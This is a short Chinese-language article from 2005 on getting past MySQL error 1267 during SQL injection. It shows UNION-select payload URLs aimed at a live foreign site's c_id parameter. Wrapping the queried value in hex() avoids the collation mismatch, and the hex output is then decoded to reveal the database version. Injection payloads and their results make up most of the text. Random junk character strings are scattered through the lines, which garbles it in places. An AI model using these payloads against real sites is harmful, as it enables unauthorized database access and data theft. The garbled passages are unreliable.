MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
+ ]) }. B: X$ g文章性质：原创
发布日期：2005-10-18
测试个国外的站时：
url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误：
4 l* n3 c5 o9 O; jIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
MySQL Error No. 126
, J1 }) ?. c9 v0 \$ o看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
" Z0 _( `+ ^- l, p% _) i7 g: t8 J解决办法：转为其他编码如hex。
6 m1 L$ E; g8 T- u1 durl：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
! o& m" y& N, V3 \* k; w& ?: M成功得到hex(version())的值为：
5 {' Y" V; [1 u342E312E332D62657461
0 ?( t. _8 _  m8 m4 O8 z回Mysql查询下得到：
mysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
! i% l/ @! i- s# s2 y% E) d+------------------------+
7 h8 n- |- n. a* e| 4.1.3-beta |
0 U. Q9 E3 L" j1 U/ ]& L1 y5 Z7 E" ]+------------------------+
- ]3 }. J; C: m8 ]1 row in set (0.00 sec)
  N5 [2 q0 `) S2 `1 I